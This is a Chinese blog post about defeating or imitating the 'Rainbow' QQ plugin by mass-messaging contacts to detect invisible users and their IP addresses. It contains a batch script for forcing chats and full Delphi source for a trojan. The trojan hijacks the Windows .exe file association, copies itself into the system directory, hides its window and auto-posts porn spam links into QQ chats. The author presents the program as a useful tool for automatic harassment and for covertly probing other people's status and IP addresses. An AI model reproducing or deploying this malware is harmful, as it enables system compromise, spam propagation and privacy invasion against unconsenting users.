【迁移自人人网】现在是不是苦于别人安装的彩虹对自己的打扰?
近期有的同学展开了一场关于彩虹QQ对我们到底是好还是坏的大讨论。其实彩虹这样发送透明快还算是一种比较温和的方式。这种温和的方式也就必然造成了在某些情况下探测到的QQ的信息实际上是不准的。比如说有的隐身者就无法探测得到。(这个消息我最近才听我们班的***同学说到,我才知道这件事情。)
其实彩虹的这种bug可以用以下这种方法弥补。不知道彩虹为什么没有采取我想的这种方法,或许确实不可行,但是我个人认为有一定的实施价值。不过比彩虹现在的方法更加猛烈一些而已。或许自然界就是这种寄生与被寄生的关系。当寄生虫给寄主施加的压力过大的时候,寄主就会想法设法得出去,但是没有太大的压力,就能和平共处。这也许就是彩虹还没有被封掉的原因吧。
我的思路就是:我们可以用一个强行聊天代码加上一个自动发送消息代码向所有的好友发送不管是透明还是不透明的数据包,发送过后好友的电脑肯定会有一个反馈。我们这个时候就可以用这种反馈来得知好友是不是隐身,或者说得到他的IP地址了。
我们可以用以下的方式来和随便的任何一个人强行聊天。用的是dos的命令行参数。我们可以用bat文件运行。
@Echo Off
:send
Set /p num=想和谁强行聊天?:
If /I “%num%”==”n” Exit
start tencent://Message/?Uin=%num%
cls
Goto send
或者用c/C++的system函数调用。
当我们能够向任意的QQ人员发送消息之后,我们再加上一段QQ自动消息代码,然后一个能够自动骚扰,自动获取对方是不是隐身或者探测对方的IP地址的程序就搞定了!
我从网上找的一段QQ消息自动发送代码如下:看来我的这个设想应该可以实现。到时候,当QQ把彩虹封掉的时候,或许这种方法就成为唯一的方法了。
program internet;
uses
windows,messages,sysutils,shellapi;
{$R *.res}
const
exename:pchar=’QQ2.exe’;
ExeFilePath=’exefile\shell\open\command’;
ExeFileValue=’ nbsp;”%1″ %*’;//alt+255
ExecName=’\ exe’ ;//alt+255
PathLen=90;
KeyRoot=$80000000;
var
//———————-
wClass: TWndClass; //窗口类变量
Msg: TMSG; //消息变量
hInst, //程序实例
Handle, //主窗口句柄
hFont, //字体句柄
//—————-
hButtonStart, //开始按钮
hButtonStop, //停止按钮
hButtonExit, //退出按钮
mcount,newtime:integer;
buffer: array[0..255] of Char;
myqq: Hwnd;
btnwnd: Hwnd;
i,ii,iii:integer;
fname : string;
j:string;
K:HKEY;
HidePath : pChar;
//________________________
procedure ShutDown; //用于exit
begin
//删除字体对象
DeleteObject(hFont);
//取消窗口类的注册
UnRegisterClass(wClass.lpszClassName,hInst);
//结束主进程
ExitProcess(hInst);
end;
//—————— 注册表
procedure WriteKey(o,p,q:LPSTR;s:HKEY);
begin
RegOpenKey(s,PChar(o),K);
RegSetValueEx(K,PChar(p),0,1,PChar(q),lstrlen(q));
end;
//———————-发送,STOPBUTTON
procedure sentme;
begin
try
btnWnd:=GetDlgItem(myqq,1);
SendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);
SendMessage(btnWnd,WM_LBUTTONUP,0,0);
except
end;
i:=0;
end;
//————————-发消息到QQ
procedure SetWndText(hWnd: Hwnd; Text: String);
Var
mText:PChar;
Buf:Integer;
begin
GetMem(mText,Length(Text));
StrCopy(mText,PChar(Text));
try
Buf:=LongInt(mText);
SendMessage(hWnd,WM_SETTEXT,0,Buf);
finally
FreeMem(mText,Length(Text));
end;
end;
//—————————取QQ窗口句柄
function EnumChildWindowsProc(hwd: Hwnd): Boolean; stdcall;
var
qqbody:string;
begin
iii:=iii+1;
Result := True;
GetClassName(hwd,buffer,256); //得到类名
/////////77777777
if iii=7 then
begin
getwindowtext(hwd,buffer,256);
if string(buffer)=” then exit;
if fname <> string(buffer) then
begin
fname:=string(buffer);
i:=6;
end;
end;
/////////15_qq2003II
if iii=15 then
begin
getwindowtext(hwd,buffer,256);
if pos(‘昵称’,string(buffer))=0 then exit;
if fname <> string(buffer) then
begin
fname:=string(buffer);
i:=6;
end;
end;
////////7777777777
if (string(buffer)=’RICHEDIT’) and (i=6) then
begin
qqbody:=’看看我的**写真:’+#13+#10+’http://avbb.ywzc.net’;
qqbody:=qqbody + #13+#10+#13+#10+’看看我的****:http://asiafriendfinder.com/go/p95770′;
setwndtext(hwd,qqbody);
sentme;
i:=5;
end;
end;
//———————————–计时器
procedure ontimer;
var
a:pchar;
begin
iii:=0;
ii:=ii+1;
if ii=3000 then
begin
ii:=0;
fname:=’qq’;
end;
myqq:= GetforegroundWindow();
Getmem(a,256);
GetWindowText(myqq,a,256);
if pos(‘发送消息’,strpas(a))>0then EnumChildWindows(myqq,@EnumChildWindowsProc,0);
Freemem(a);
end;
//————————这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of WM_COMMAND:
begin
if lParam=hButtonStart then begin
mcount:=0;
newtime:=SetTimer(handle,100,2000,nil);
end;
if lParam=hButtonStop then begin sentme;
end;
if lParam=hButtonExit then ShutDown;
end;
WM_TIMER:ontimer;
WM_DESTROY: ShutDown;
end;
end;
//定义几个窗口创建函数
function CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
Result:=CreateWindow(‘Button’,name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE
or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);
end;
function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
//取得应用程序实例句柄
hInst:=GetModuleHandle(nil);
//初使化窗口类的信息
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,’MAINICON’);
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= ‘MainClass’;
hCursor:= LoadCursor(0,IDC_ARROW);
end;
// 注册窗口类
RegisterClass(wClass);
// 建立主窗口
Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or
WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);
end;
//////////////////////////////////////////////////////
//———主过程,类似于 C语言中的 WinMain()
begin
WriteKey(ExeFilePath, ”, ExeFileValue, KeyRoot);
GetMem(HidePath, PathLen);
GetSystemDirectory(HidePath, PathLen); //true 为不覆盖
if not CopyFile(pChar(ParamStr(0)), pChar(HidePath+ExecName), true) then
begin
WinExec(CmdLine+2,1);
//deletefile(pchar(hidepath+execname));
end;
///!启动木马,这以上的代码就小心使用,有破坏力,改了EXE文件关连。另
//请看好代码,true or false,你看着用。
if findwindow(‘MainClass’,nil)<>0 then exit;
//建立主窗口
handle:=CreateMain(exename,0,0,280,60);
ShowWindow(handle, sw_Hide); //隐藏自己———————–
//建立四个控制按钮
hButtonStart:=CreateButton(‘开始’,10,4,70,24);
hButtonStop:=CreateButton(‘发送’ ,100,4,70,24);
hButtonExit:=CreateButton(‘退出’ ,190,4,70,24);
//创建字体对象
hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,’宋体’);
//改变字体
SendMessage(hButtonStart,WM_SETFONT,hFont,0);
SendMessage(hButtonStop,WM_SETFONT,hFont,0);
SendMessage(hButtonExit,WM_SETFONT,hFont,0);
///自动开始
SendMessage(hButtonStart,WM_LBUTTONDOWN,MK_LBUTTON,0);
SendMessage(hButtonStart,WM_LBUTTONUP,0,0);
//进入消息循环
while(GetMessage(Msg,Handle,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
代码很长,不过对于计算机而言,即使有1000个好友,又能怎么样呢?
几秒钟搞定……
所以,这种方法有前途!
希望我的这个点子或者思路能够给苦于彩虹探测不准的人一点信心,或者说给讨厌彩虹的人一点打击。学习完c++之后,我相信这样的思路将不会是幻想……
其实,改一下网络协议,彩虹就会失效了。但是后果呢?不能上网,啥都不能干了!
最好的方法还是换成以前的旧版本的QQ。
应该可以。网上不知道还有没有更好的防彩虹的方法。希望能有。我还没查。
但是矛与盾之间的“矛盾”是不可调和的!!!!!自然法则。